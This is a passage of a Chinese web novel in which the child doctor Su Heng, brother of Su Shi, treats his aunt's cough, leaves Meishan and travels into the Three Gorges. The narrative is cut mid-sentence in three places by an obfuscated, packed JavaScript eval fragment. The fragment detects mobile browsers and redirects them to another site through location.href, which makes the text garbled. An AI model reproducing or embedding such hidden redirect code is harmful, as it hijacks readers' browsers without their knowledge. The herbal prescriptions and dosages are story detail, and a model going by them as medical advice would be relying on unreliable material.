过了一会儿,苏不欺果然从山上下来,几人这才登上驴车,一同回苏家老宅。 到了老宅,几人苏家五位小娘子们都聚在前厅谈话说笑,杨氏、程氏与郭氏也在一旁唠嗑家常。苏轼进了正厅就直直奔向程氏:“阿娘,我回来啦。看,这些是我在山上捡的松果。咱们快些回家吧,我想把这些松果拿给阿兄看看!” “松果?给我一个瞧瞧。”苏轸好奇地凑过来。 “不给!这些全是阿兄的!”苏轼小气地避开了苏轸的手。 “表妹,我也捡了松果,但是不多。你要吗?”程之才抱着那一大束秋海棠凑到苏轸跟前,“还有这束海棠,表妹你喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啧,真没劲,开个玩笑而已。”苏不疑跳下座椅,摆摆手,“我先回房了,你们慢慢聊~” 苏轼回了纱縠行苏家,一见苏衡就扑上来告程之才的状:“阿兄,你不知道那个程之才有多过分!我们一道出去玩,还在驴车上的时候,他就一个劲儿地问阿姐的事情。游玩回来后,他还向阿姐献殷勤,要给阿姐送花!” “那还不是因为我想要一个松果,你不给我。人家好意送我,你生哪门子的气。”苏轸习惯性地与苏轼吵嘴。 苏衡听了苏轼的话,眼神一闪,开口道:“好了,你们别吵了。四郎,你既然有这么多松果,分一些给八娘也不是什么大事,不值当为一个松果吵架,伤了彼此的和气。” “是,我记住了。”苏轼乖乖应道。 “还有,八娘,以后有男子送花给你,记得不要随意收下。”苏衡继续道。 “哦,好。”苏轸下意识就答应了,等回过神来,不由得追问,“阿兄,为什么呀?” 苏衡:“……随意送人鲜花,不庄重。” “好的阿兄,我记住了!”苏轸若有所悟地点点头。 这日之后,可怜的程之才苦恼地发现,无论自己送多好看的鲜花,表妹都毫不犹豫地拒绝掉。阿娘不是说小娘子都喜欢颜色鲜亮美丽的鲜花吗?莫非苏家表妹的喜好与其他小娘子不同? 然而,程之才很快无心思考这些事情了。因为临近过年时,郭氏突然毫无征兆地病倒了。 31. 桑杏汤 “唔……”郭氏觉得自己好似做了一个长长的噩梦,好不容易才从梦境旋涡中逃脱,挣扎着睁开双眼。 “阿娘,你怎么样了?”程之才扒着床沿两眼泪汪汪。 “这是怎么了?怎么还哭鼻子了?”郭氏抬起手,为程之次拭去眼泪,”阿娘没事,就是年底家中事务繁琐,没注意休息,这才累病了。喝了郎中开的药,睡了一觉发了汗,现在阿娘已经好多了。” “真的吗?”程之才不安地与郭氏反复确认道。 “真的。”郭氏点点头。 “我听说苏衡表兄医术很厉害,大家都叫他‘小神医’,阿娘,要不然,我们请苏衡表兄来帮你看看?或者——或者找苏衡表兄的师傅帮你看看!苏衡表兄已经那么厉害了,他师傅一定更厉害!”程之才提议。 郭氏笑笑:“不用麻烦你表兄了。阿娘真的没事,估计再喝两剂郎中开的药汤就能好全了。” “可是——”程之才还想再说什么,却被领着婢子前来送药的潘素素打断了。 “姐姐,药熬好了,您快趁热喝了吧。” “哎哟,让底下的人熬好了送来便是,倒是劳累你跑这一趟。多谢你费心了。”郭氏在婢女的帮助下,靠着床坐起身,将潘素素送来的一碗药一饮而尽。 潘素素紧紧盯着郭氏喝药,见那药碗空了,眼神微闪,这才笑道:“为姐姐分忧是奴的本分。奴只盼着姐姐能早点好起来,重新主掌府内中馈呢。姐姐服了药,好生歇歇,奴便不打扰姐姐歇息了。” 潘素素用眼神示意婢子收起药碗,便带着婢子离开了。 谁知,郭氏这病竟断断续续,一直不见好。因成日咳嗽不停。郭氏自己吩咐下人炖了不少川贝雪梨汤,但是川贝母连续吃了又一斤多,咳嗽总不见好。甚至,在服了郎中开的药后,症状反而还加重了。 程之才见了很是心焦,认为定是之前请的郎中医术不行,这才加重了他阿娘的病情,便嚷着要换一个郎中。最好,能把眉山的贵生道人请来,为他阿娘看病。 然而,程氏生病后,程家掌中馈之权又重新落入潘素素手中。潘素素听了程之才要求,二话不说便开始在程濬面前委委屈屈地哭起来,抽抽噎噎地向程濬诉苦。字字句句都是在说自从郭氏生病以来,她是多么尽心,不仅请了全县最好的郎中,还小心翼翼地日日服侍,熬药送药都是亲力亲为。 “大郎想换郎中,奴岂敢不应。可是那史郎中已是青神最好的郎中,请别人来,恐怕还不如史郎中。奴实在不知如何做,才能让姐姐和大郎满意。” “不好好照顾你娘,劲折腾这些有的没的。下次再让我听见你胡搅蛮缠,休怪我动用家法!”程濬听信了潘素素的话,对程之才一番斥责。 程之才心中委屈,泪珠已经在眼眶里打转,但仍是强忍泪水,提出请求:“阿父,能不能请眉山的贵生道长替阿娘看一看?贵生道长是苏衡表兄的师傅,医术定然远超史郎中。” “去去去”,程濬不耐烦地摆手,“一个小小的咳嗽而已,还要专程跑去眉山请郎中,倒显得咱们青神不如眉山一样。” “阿父……”程之才还想再试着争取。一旁的潘素素却插话道:“大郎,你阿父今日饮多了酒,正头疼呢。你先回去吧,不要在此时打扰你阿父歇息。” 程之才又是伤心又是沮丧地回了自己的房间,越想越觉得不对劲,又溜出房间,想找人给眉山苏家递信。巧的是,程氏因见郭氏许久没带程之才等小辈来眉山玩,心中奇怪,便派了人前来青神探问。程之才趁机托那人给自己带话,求程氏帮忙交给来人转递程氏。 程氏收到口信后,立即把苏衡喊了过来:“衡儿,你师傅近日可有空?你郭伯母生病了,吃了青神郎中开的药后,病情非但没好,反倒还加重了不少。可否请你师傅随我们去青神一趟,替你郭伯母诊治一二。” “阿娘,实在不巧,师傅他老人家昨日同我说,今日一早要去彭山一趟,三日后方归。”苏衡想了想,建议道,“阿娘,要不我与你同去,让我试试为郭伯母诊病。” “行,治病宜早不宜迟,那我们收拾收拾,即刻便出发。”程氏当机立断。 · 苏家的驴车在程宅门前停下,程氏与苏衡一道下了车。此番来青神走得急,程氏没让苏轼和苏轸跟来,金蝉和采莲也都被留在家中,一个负责照顾年纪尚幼的苏辙,一个负责准备苏家的饭食。 “阿妹?你怎么突然过来了,也没提前打个招呼。妹夫呢?怎么没同你一道来?”程濬见了程氏,很是惊讶。 “听闻阿嫂病了,特意前来探望。”程氏淡淡地道,“洵郎他有事在身,便没一同来。” “哦”,程濬一听,神色也淡了下来,“来看你阿嫂啊。你与她倒是比我这个兄长还亲近些。我倒是忘了,你出嫁前,与她确实很聊得来,感情极好。” “阿兄,阿嫂如今在何处?可是还在房中养病?”程氏急着见郭氏,便直接问道。 “嗯”,程濬随意地点了点头,“你自去看她吧。我就不进去打扰你们姑嫂交流感情了。” 苏衡默默跟在程氏身后,向程濬行了个礼,便也进了郭氏的房间。程之才也在房内,见了程氏与苏衡,高兴得直接从椅子上跳下来:“姑母,表兄!我还以为你们最快也要明天才能过来呢。” “你阿娘病得这般重,我们自是要尽早赶过来帮忙的。只是衡儿他师傅赶巧不在眉山,要三日后才能回来。你表兄医术还不错,先让你表兄为你阿娘看看。” “嗯,好!谢谢姑母!”程之才知道自己阿娘与程氏最为交好,因此对程氏十分信任。 “咳咳,谁在说话?我怎么,咳咳,好像听到阿妹的声音?”床上,睡得昏昏沉沉的郭氏被说话声吵醒了。 “阿嫂,是我。我来看你了。”程氏见郭氏满脸病容,不由得吃了一惊,“阿嫂,你怎么病成这样了!” 郭氏苦笑:“病了一个多月了,郎中也看过了,咳咳咳,药也喝了,总不见好,咳咳咳咳……”郭氏说完,又是一阵急促 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏衡接过药方一看,上面写着的药材共七味,分别是桑叶、杏仁、沙参、梨皮、象贝、栀皮和香豉,便道:“这上面写的方子是桑杏汤。” “对,我想起来了”,郭氏一边咳嗽一边道,“史郎中说我这是被热邪侵扰,便给我开了很多清热的药物,说是能清润止咳。” “表兄,这个药方是不是有什么问题?”程之才见苏衡眉心微皱,立即敏锐地问道。 “这个方子的君药是桑叶与杏仁,一个轻清宣散,一个苦温润降。整个药方辛凉甘润,透散温燥,的确具有清润止咳的功效”,苏衡缓缓道,“但,这个方子化痰力度不够大,反而使得舅母病情加重。” 郭氏脉弦滑而细,咳嗽,气喘,咽痛,吐黄白痰,背恶寒,口干欲饮,饮后胃脘不适,服用清热药反而症状加重,说明药不对证。背恶寒是因为水饮停胸,困阻胸阳,导致阳气不能施布于背。郭氏所患是外寒内饮证,兼有上热。史郎中忽视郭氏原有的寒饮内停,而用苦寒之药清热化痰,不但达不到化痰的效果,还会使得郭氏阳气大伤而加重痰饮。 “表兄,我听不太懂……”程之才弱弱地说。 “简单地说,就是舅母现在痰饮加重,时间久了,就会化热,犯于心胸,所以舅母会出现心烦胸满的症状。我给舅母开一方,首先便是化痰,痰饮一去,内热便散,内热散去,方能止咳。” “好好好,表兄,我去给你拿纸笔!”程之才一溜烟地跑去拿纸笔了。 32. 小青龙加石膏汤 “麻黄三钱,桂枝三钱,细辛二钱,干姜二钱,白芍三钱,炙甘草三钱,生石膏一两半,这是仲景的小青龙汤加生石膏。”贵生道人一手拿着苏衡几日前为郭氏开的药方细看,一手捊着他那长至腰间的花白胡子。 “是。”苏衡恭谨地答道。 “嗯”,贵生道人点点头,“麻黄与桂枝这两味君药解咳喘,化内饮,干姜与细辛协助君药解表驱邪,再加上半夏、五味子、白芍和炙甘草,八味药相配伍,解表与化饮相配合,一举两得,表里双解,小青龙汤用于此证,比那桑杏汤高明多了。” 贵生道人夸奖自家徒弟的同时,还不忘拉踩一下其他郎中:“病人有热象而出现烦躁,加生石膏以清郁热,远胜于那史郎中,尽用一些清热但不温化的药物,反倒加重病人病情。” “徒儿听说那史郎中是青神县医术最好的郎中,以他的水平,应当不至于犯这种错误,许是背后有什么隐情。”苏衡若有所思。 “哼”,贵生道人冷笑一声,“不管有什么隐情,明知药不对证还开给病人,那便是医德败坏,比医术不精更可恶!” 苏衡沉默,贵生道人所言不错。若史郎中不是误诊,而是有意开这样一个会加重病人症状的方子,那便是存心害人了。 贵生道人又拿起第二张方子,第二张药方把细辛与干姜这两味增加至三钱,石膏减量为一两:“这是你为病人复诊后开的第二张方子吧。第一张方子病人服用后,有什么成效?” “第一张药方徒儿开了三剂,病人服用后黄痰减少了,心烦胸满与口干的症状也减轻不少。第二张方子病人现在已经服用了六剂,黄痰已清,背恶寒的情况也消失了,只是仍然还有少量白痰。病人内热已清,接下来把药方中的生石膏去掉,病人继续服用几日,便能痊愈了。”苏衡把复诊的情况说得十分详细。 “嗯”,贵生道人微微点头,点评道,“药方还是对证的,只是见效有些慢,若是配合针灸,病人能恢复得更快些。待我与你细细说来。” “是,师傅。” 这厢,苏衡在天庆观跟随贵生道人学习医术,那厢,苏轼双手托着下巴坐在能看见大门的地方,望眼欲穿。 “阿兄怎么还不回来,往常这个时辰阿兄差不多已经到巷子口了。但是现在外头静悄悄的,连个驴蹄声都听不到。唉——”苏轼像个小大人似的长长地叹了一口气。 “啊啊!”苏辙被程氏裹得像个小圆球,坐在榻上叫了两声,似乎在应和苏轼的话。 苏轼闻声回过头去,正巧看见苏辙冲着他咧嘴笑,脸颊上还有两个甜甜的小酒窝。苏轼瞬间感觉自己苦等的寂寞被可爱的弟弟治愈了,站起来“哒哒哒”地跑到榻边,开始逗弟弟玩。 “小兔子,你也觉得阿兄今日回来得特别慢,对不对?”苏轼手脚并用也爬上了榻。 “昂!”苏辙很给自家二哥面子,清脆地应了一声。 苏轼一下子就高兴了,一把抱住糯米团一般的苏辙,猛地往他脸上亲了一大口:“小兔子你真懂我!” “来,小兔子,我叫你喊‘阿兄’。跟我一起念。阿——兄——”苏轼兴致勃勃地教苏辙说话。 “啊啊!”苏辙大声喊道。 “不是‘啊啊’,是‘阿——兄——”苏轼耐心纠正道。 “啊——噗!”苏辙“噗”得太用力,唾沫星子都飞溅到苏轼衣服上了。 苏轼也不恼,把两只手放在苏辙胳肢窝下,微微用力一提,给苏辙转了个方向,让弟弟背对着他坐,然后再把人搂进怀里。这样弟弟说话喷口水就不会弄到他衣服上啦。他真聪明!嘿嘿!苏轼得意地翘起了尾巴。 “小兔子,我们继续!跟我念,阿——兄——” “阿——呜——”苏辙倒也乖巧,不哭不闹地跟着他二哥学说话。 “喲,这是在教卯君说话呢。我也来!”苏轸做完了今日的针线功课,揉着眼睛从房里出来,便看见两个弟弟在正厅软榻上亲亲密密地贴贴,很是欢乐的样子,顿时眼睛一亮,也脱了鞋子爬上榻。 “小卯君,到阿姐这儿来。阿姐这里有好玩的摇摇鼓哦~”苏轸拿起榻边木柜上的摇摇鼓,发动“玩具”诱惑。 “啊啊!”苏辙眨眨眼,似乎对会发出声响的摇摇鼓很感兴趣,两只手往前伸了伸。 “不许去!要先学会了喊人才能玩玩具。我们继续学,跟我念,阿——兄——”苏轼执着地想要教会苏辙。 “小弟还没满一岁呢,哪有那么快会说话,你别为难他。”苏轸批评了一下苏轼揠苗助长的行为,继续摇着摇摇鼓诱惑苏辙,“来,卯君,到阿姐这儿来。” 苏轼生气地鼓起脸,正打算和苏轸争辩一二,就听见大门处传来熟悉的驴蹄声,眼睛一下子就亮了:“是阿兄回来了!” “阿兄!”苏轸也动作迅速地下榻穿鞋,与苏轼一道争着抢着跑去迎接苏衡。 “昂?”小苏辙突然就被二哥和阿姐抛下,榻上转瞬只剩下自己一个人,先是愣了一愣,然后望着素食和苏轸的背影瘪了瘪嘴,“哇”地一声哭出来。 “卯君怎么哭了?”苏衡刚下驴车,就听见苏辙响亮的嚎哭声,“你们两个,谁把卯君惹哭了?” 苏轼眨眨无辜的狗狗眼:“不是我!我方才还在教小兔子说话呢,小兔子学得可开心了!一定是阿姐惹到了小兔子!” 苏轸摇摇头摆摆手:“不是我!我方才拿着摇摇鼓陪卯君玩儿呢。一定是二弟硬逼着卯君学说话,不让他玩儿,把卯君惹哭了!” 两姐弟同时替自己辩解开脱,顺带把锅甩给对方。两人说话,纷纷难以置信地瞪大了眼睛看向彼此。 苏轼:“?!” 苏轸:“??” “你胡说!我与小兔子在榻上好好的,他根本没哭过。是你来了之后他才哭的!不是你惹哭他的还能是谁!”苏轼大叫起来。 “呵,我拿着摇摇鼓逗卯君玩,是你拦着不许他玩,他这才哭的!你不要血口喷人!”苏轸不甘示弱地反击。 “明明就是你惹哭的!” “才不是,是你惹的才对!” “是你!” “是你!!” “是你是你是你!!!” 苏衡只问了一句,苏轸与苏轼姐弟俩 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苏轸和苏轼姐弟俩欢欢喜喜地洗手去了。苏衡抱着苏辙,慢悠悠地环顾四周,视线最终落在屋内的一扇屏风上,眼神闪了闪,若无其事地收回视线,抱着苏辙离开了。 等苏衡走后,屏风后屏息凝神的一主一仆终于放下心,深深地吸了口气,如释重负般呼出。 “娘子,我就说不用您出面,三郎君保准把八娘子与四郎君管得服服帖帖的。您方才可瞧了。”采莲笑眯眯道。 “下次我可再也不由着你胡闹了。”程氏笑着摇摇头,“方才衡儿那眼神,准时发现我们了。还好衡儿没打算计较,抱着卯君回屋了。” 原来,在苏轼搬着小板凳坐在正厅门口等苏衡时,采莲悄无声息地把苏辙放到了软榻上,然后蹑手蹑脚地躲到屏风后,与程氏一道默默观察后续发展。 果然,没过多久,苏轼就被苏辙吸引了过去,爬上榻与苏辙一道玩耍。过了一会儿,苏轸也来了。等苏衡回来,苏轸与苏轼姐弟俩丢下苏辙就跑,把苏辙惹哭时,程氏按耐不住,正想出去,却被采莲阻止了。 后面事情的发展如采莲预料的一样,苏衡处理得很好。程氏见了,又是欣慰又是惆怅:“衡儿聪慧又懂事,他几个弟弟妹妹也都与喜欢与他亲近。只是,眼看着明日就是年节了,过了年,衡儿便要履行当初与贵生道长的约定,随他师傅一道离开眉山,四处游医。到时,还不知道他们几个要哭成什么样呢。” “小郎君们渐渐大了,总要外出闯荡一番的。娘子宽心些才是”,采莲出言劝慰道,“年节快到了,我明儿一早便去采买些新鲜食材回来,今年除夕的年夜饭,可得好生准备一番。大家高高兴兴地吃一顿年夜饭,再欢欢喜喜地过个元宵。若是娘子满面愁容,可让三郎君怎么放心跟着贵生道长一道远游呢。” “说的也是”,程氏垂下眼帘,心中到底还是难忍不舍,“一晃眼,衡儿都快七岁了。这日子过得可真快啊。” 屋外不知何时飘起了小雪,冬雪夹杂着雪花在枯木枝头飞舞,如同开了满树的梨花。新春的脚步,在这“簌簌”的落雪声中,渐渐走近了。 33. 辞别故园 眉山的初雪下了一整夜。鹅毛大雪自空中飘落,青石板路上渐渐积了厚厚的一层雪,行人走在路上,留下一串串被踩得厚实的雪脚印。枝头沉睡的白雪被树下的脚步声惊醒,“簌簌”落了一地。整座小城一夜之间就换上了银装,美不胜收。 玻璃江表层的江水也被冻得结实,但冰面之下,依旧游动着许多鱼群。若是有人眼神不好,走到了玻璃江的冰面上,那绝对要载一个大跟头,在玻璃江的冰水里泡得直哆嗦,扑腾老半天,才会被偶尔路过的行人捞起,帮着送回家去。 “铛铛铛,铛铛铛”,此时,眉山人人都不敢走近的玻璃江边,阮大郎正拿着铁凿子和铁锤子在敲冰。好不一会儿,玻璃江上才出现了一个冰窟窿。 阮大郎摩擦摩擦双手,往手上呼了几口热气,喜道:“总算凿成了。这天寒地冻的,水面都结了冰,想弄点鲜鱼都难,更不用说河虾河蟹之类水产了。” 阮大郎以捕鱼为生,他们这些渔人,一年四季中最发愁的就是冬季。因为水面结冰,无法撒网捕鱼,顶多在冰面凿个洞出来垂钓,聊胜于无。 听说北边的辽人因为缺衣少食,哪怕冬天也会大规模捕鱼,他们管那叫做“捺钵”。不过,这也是他听一个从北边过来做生意的皮货商人说的,谁知道是真是假,这些做生意商人嘴里没几句真的。 若不是得知苏小神医元宵之后就要离开眉山,想送几尾鲜鱼给苏家,聊表心意,他今日也不会出来冬钓。阮大郎的娘子今年给他生了个大胖小子,他恨不得每日都在家里陪他着他娘子和乖儿子。 去年他娘子孕中得病,多亏了苏小神医诊治有方,这才保住了大人小孩的性命。昨日苏家的采莲到早市上采买食材,说是家中小郎君想吃鲜鱼,结果在早市转了一圈,愣是连鱼尾巴都没见着。阮大郎听说了这事,今日一早,便来玻璃江凿冰垂钓了。家中并不富裕,也不能回报给苏小神医什么贵价之物,也就只有这一身钓鱼的本事能拿得出手。阮大郎便想趁此机会,再向苏衡表达谢意。 “哗啦”一声,阮大郎及时扬起钓竿,一尾大鲫鱼破水而水,被甩到了冰面上,两边鱼鳃还在一张一合地翕动着。 “看来今儿运气不错,这尾鲫鱼得有四斤多了。”阮大郎收了钓具,提着大鲫鱼高高兴兴地往苏家送鱼去了。 纱縠行苏家家中,气氛却有些低迷,全无过年的喜庆。 “阿兄……”自从偶然听到苏洵与程氏之间的对话,得知自家兄长过了上元节便要动身,随贵生道人离开眉山,苏轼就一直闷闷不乐,黏苏衡也黏得越发紧了。虽然舍不得兄长,但是苏轼却没有说一些挽留苏衡或者央求苏衡不要离开的话。去岁除夕,兄长就在自己跟前倒下的场景,苏轼仍然历历在目。他生怕苏衡心疾复发,再次昏迷不醒。 “阿兄,那白胡子老头只说你要入道,方可免受病痛,又没说一定要拜他为师。不如,你别跟着那个白胡子老头了,选一个就在咱们眉山的道长拜师,不行吗?我觉得咱们天庆观的那个胖胖道长就不错!”苏轼眼珠子咕噜一转,想出个歪主意来。 “别胡闹。既已拜师,怎能轻易背叛师门。”苏衡轻声斥道,“还有,不许给人乱起花名。” 白胡子老头指的是他师傅没错了,天庆观的“胖胖道长”又是谁?苏衡回想了一下,眉角隐隐跳动。他二弟说的该不会是天庆观的肖住持吧?那位肖住持生得膀大腰圆,确实——很有福气。 “阿兄……”苏轼两眼泪汪汪,把头往他兄长怀里一埋,拒绝起来。 “好了,别撒娇了。我只是未来几年会跟着师傅四处游医,等我医书大成,师傅宣布我能出师了,我或许会选择一个地方定居下来,开一家医馆。”苏衡轻轻拍着苏轼的后背,柔声道。 “那阿兄你会回眉山开医馆吗?”苏轼闻言,抬起了头,眼角还挂着两颗晶莹的泪珠。 “很可能不会”,苏衡想了想,解释道,“眉山太小了,不需要那么多医馆,有林家医馆和秦家医馆便足够了。要成为一名好郎中,需要多实践,我想去更大的地方看看。” “更大的地方?天底下最大的地方就是京城,阿兄是想去京城开医馆吗?”苏轼问道。 “有这个可能”,苏衡点头。 “那我以后也要去京城!阿父说了,天底下的读书人都想去京城面见天子,参加殿试。我长大以后也要去京城,等我考上状元,我要骑很高很高的骏马,威威风风地游街!阿兄,你要在京城等着我!”苏轼“口出狂言”,还伸出小手指,要与苏衡拉勾。 状元啊……苏衡默默回想了一下前世好友为他讲述的“东坡事迹”,笑了一下,伸出尾指勾住了苏轼的手指:“好,一言为定。” · “上菜咯上菜咯——”青枝喜气洋洋地端着热腾腾的年菜,一碟碟地摆上桌。 除夕年夜饭照例仍在苏家老宅中进行,采莲一大早便与老宅的厨子们在厨房里忙活起来。阮大郎送来的那尾大鲫鱼,鱼头被采莲拿来红烧,鱼尾被拿去熬汤,鱼身的肉被她刮成鱼蓉,做成了苏轼喜欢吃的鱼肉丸子。 “咦?这鱼是从哪儿买的?我今早也去逛了早市,根本没有鱼贩子出来卖鱼。”杨氏见青枝接连端出了红烧鱼头、豆腐鱼尾汤和酥脆炸鱼丸,不由得奇道。 “这是阮大郎送的,衡儿曾经给他娘子治过病。他听说我们家到处采买鲜鱼却买不到,便专程从玻璃江钓了一尾鱼送过来。”程氏解释道。 “原来如此,我说呢。”杨氏点头。 苏坐在主位上的苏序嘬饮了一小口苏洵带来的青梅酒,满意道:“不错,就是这个味儿!” “这梅子酒去年便酿好了,又埋在院子那株梨树下大半年,今儿一早才挖出来的。阿父您喜欢便好。“苏洵知道苏序就好一口好酒,因此每年都会精心挑选一坛独特的酒水当做给苏序的节礼。 大人们在饭桌上谈笑风生,小辈们的注意力则主要放在面前这一大桌色香味俱全的年夜饭上,一个个都埋头苦吃,压根顾不上说话。 酒足饭饱,残羹冷炙被撤下,换上了琳琅满目的时鲜瓜果、香糖果子、还有瓜子儿茶水等。苏家老老少少十数口人围炉夜话,闲坐守夜。 就连最小的苏辙也精神得很,平日里这个时辰苏辙早就犯困,沉沉睡去了。今夜倒是全无睡意,兴奋地看着哥哥姐姐们嗑瓜子儿闲聊。 “对了,三郎,等过了元宵,你是不是就要跟你师傅一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14506036|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道离开眉山,逍遥自在去了?”聊着聊着,苏不疑突然这件事儿来,便扭头和苏衡确认道。 苏衡还没张口,苏轼就黑了脸,苏轸脸上的笑容也变得有些僵硬。 “哪壶不开提哪壶,你瞅瞅四郎与八娘的脸色,快别问了。阿弟,你可长点心吧!”苏不欺悄悄用胳膊肘杵了杵他的蠢弟弟,压低声音咬牙切齿地提醒道。 “哦……”苏不疑小声逼逼,“不提就不提嘛。这有什么好难过的,我还巴不得能离开眉山到外头潇洒去呢。” “嗷!”苏不疑被他亲哥暗搓搓地踩了一脚,终于老实了。 “噼里啪啦噼里啪啦”,外头传来邻居们放爆竹的声音,还能隐约瞧见随着夜风飞舞的爆竹红纸与香烟。 在除岁的爆竹声中,苏家众人互道新年祝福。 “新年吉祥,事事如意。” “新春纳福,康宁喜乐。” “啊啊!”小苏辙还不会那么复杂的新年祝福,但是也十分应景地喊了两嗓子,惹得一众大人与哥哥姐姐们都笑了起来。 除夕一过,正式进入新的一年。苏衡离开眉山的日子一天接一天地逼近。往年总是很期待元宵节的苏轼,今年最不希望的就是元宵节的到来。 程氏已经带着采莲几个给苏衡准备起行囊,忙得不可开交。保暖的冬衣带几套,耐放顶饱的干粮也要多带些…… “衡儿,这是你宋大娘给你的辣脚子,又辣又开胃,最主要的是很耐放。路上若是干粮吃着没味,便夹一些辣脚子在里头。” “好。” “这是我给你缝的几双袜子,装在这个小布袋里头了。” “嗯。” “还有这个,这是你常用的刷牙子与牙膏,用这个青色的长布袋装着了。” “嗯。” “还有……” “阿娘,我自己收拾吧,用不上这么多的。”眼瞅着程氏就要把他用惯的床铺都打包起来,苏衡终于忍不住出言阻止。 程氏停下手,回过神来,尴尬一笑:“好像确实有些多了。” 苏衡与贵生道人临行那日,除了苏家人,不少眉山的百姓也纷纷前来送别。 初春气候仍寒,江边的垂柳才刚刚吐出新芽,星星点点的绿意潜藏着无穷的生机与春色。 苏洵夫妇与苏轼、苏轸还有懵懂的苏辙一送再送,把苏衡送至玻璃江边。提前雇好的船已在岸边等候。 “江边风大,小心着凉。”苏衡劝道。 “阿兄,一定要记得给我写信!”苏轼哭得稀里哗啦。 “还有我!”苏轸也哭成了泪人儿。 “好。”苏衡认真承诺。 船缓缓驶离江岸,苏衡靠着船舷,注视着岸上的家人与自己的距离越拉越远。 “啊——阿——”被程氏抱在怀里的苏辙突然大声叫了起来,“阿——兄!” 苏轼朦胧着泪眼,又哭又笑:“小兔子终于会喊‘阿兄’了。阿兄——你听到了吗?” 初春的风送来幼弟的呼唤,也吹鼓了航船上的风帆。苏衡站在船上,心头微动。 故园已在身后,前方路途瑶瑶,还望各自珍重。纵天下之大,终有再聚首之日。 34. 第34章 三峡之险,天下闻名。 贵生道人决定带着苏衡走水路出蜀地,必然需要经过急湍飞流,险象环生的三峡。自瞿塘峡至巫峡,最后出西陵峡,这段江流足有七百余里。七百余里的江段能隐伏多少危险,就连身手最为敏捷,技艺最为娴熟的船夫也不敢言说。 船行水上,人坐舟中,日升又落,月盈复亏,置身茫茫江面,恍惚间,有时甚至不知今夕是何年。自眉山玻璃江出发,船行了不知多少日,终于能看见瞿塘峡。 贵生道人从行囊中取出包裹得很是仔细的香炉与香,吩咐苏衡用船上的旧桌案,搭建一个简易的临时祭坛。 三峡天险,过三峡者九死一生。因此,行船进入三峡之前,人们往往要焚香祷告,乞求上苍庇佑船只平安过江。等出了三峡,人们还要焚香谢神,同时庆贺自己“逃出生天”。 苏衡在贵生道人的示意下,默默点燃降真香。火舌往下吞噬香木,香烟袅袅直上云霄。 贵生道人今日特地换了一身新道袍,香烟一起,便默念祝香神咒:“道由心学,心假传香。香热玉炉,心存帝前。真灵下盼,仙佩临轩。令臣关告,径达九天。” 传闻,真正的降真香出自黔南,与杂香拌和共燃,可以引得仙鹤降临。苏衡无声地望着香炉中的降真香烟袅袅直上,在湛蓝的天空下幻化出不同的形状,耳边是贵生道人颇有韵律的诵经声。 贵生道人长须白发,穿着一身用金线勾勒出星辰日月的道袍,临江而立。初春的寒风猎猎吹来,送来清浅的花香,却不知这飘香的春花真身在何处。穿着简朴的船夫用一种很是崇敬的神色看向这边,满目虔诚。 苏衡轻眨长睫,默默看了一眼贵生道人。嗯,衣袂翩翩,仙风道骨,仿佛下一瞬便会羽化登仙,与平日里那副不修边幅,吊儿郎当的模样截然不同。 “……皈依天地水官,水府众圣,即使风恬浪静,水途安妥,舟航载稳,绳缆监牢,所谋顺遂,诸圣拥护,万神赐福……” 前世,苏衡的师傅也是一位道士,因此他对贵生道人持诵地经文熟悉得很。他师傅正在念的是《三官经》,全名《太上三元赐福赦罪解厄消灾延生保命妙经》,顾名思义,有赐福、赦罪、解厄、消灾、延生、保命之妙效。 “快看,是仙鹤!” “真的,仙鹤飞过来了!道长的香把仙鹤引过来了!” “天降祥瑞,仙鹤盘旋。大吉啊!这次航行一定能顺顺利利,平平安安。” 船夫们仰头望天,纷纷叫嚷起来,惊讶与喜悦在他们黝黑的脸庞上浮现。 等焚香祈福的仪式结束,船夫们散去,只剩下贵生道人与苏衡两人。 “咳咳!”贵生道人清了清嗓子。 又来了。师傅又要开始了。苏衡眼神微闪,不着痕迹地往边上挪了挪。 “徒儿,怎么样?你师傅我方才威风不威风?!哈哈哈哈哈哈!”贵生道人开始拉扯身上的道袍,“就是这衣服不够软和,还是我那套旧衣穿着舒服。” 苏衡暗暗腹诽:您老人家那套旧衣都不知打了多少个补丁,去岁端午前后,穿着那套“乞丐装”去人家凉水铺子买冷饮,结果还真被那店主当乞丐了。 “哎哟,我的老腰啊,方才那遭,弄得我腰酸背痛的,好徒儿,快来帮为师揉揉肩,捶捶背。”贵生道人形象全无地伸了个懒腰,也不看船板上脏不脏,一屁股就坐下了,还是那种两腿伸直叉开的不雅坐姿。 苏衡:“……是。” 船夫们打起十二分精神,小心翼翼地控制着船舵,把船缓缓驶进了瞿塘峡。此时比起水浅见石的冬季,江水上涨了不少。瞿塘峡的危险之处就在于其水面下隐伏着无数暗石,若是夏日水深或是暴雨水涨,那些水底的暗石更是肉眼不可见。 苏衡前世也曾游过三峡,但是因修建了三峡大坝之故,三峡之水就如同被驯养的猛虎,收起了尖牙利爪,露出大猫一样温顺可爱的一面。如今,却是苏衡第一次亲眼见识到三峡的险峻与危险。虽然危险,却也美得惊心动魄。 一连数日,苏衡在船上所见,都是群山连绵,危崖竦峙的景象。 那悬崖之上,不时有一道素白的悬泉自峭壁飞流直下,一路冲刷着嶙峋的怪石,溅起漫天的飞雪。生长在悬崖之上的竹子,颜色似乎格外冷翠。悬崖上的绿意,除了竹子,最多的便是具有极强生命力的松柏。不知是否是生在峭壁的缘故,那些柏树的枝干长得千奇百怪,扭曲又怪异,怪异又顽强。 苏衡凝视着那些在高耸的峭壁之间翻滚转出的旋涡出了神,竟没察觉到贵生道人悄无声息地走到他身后。 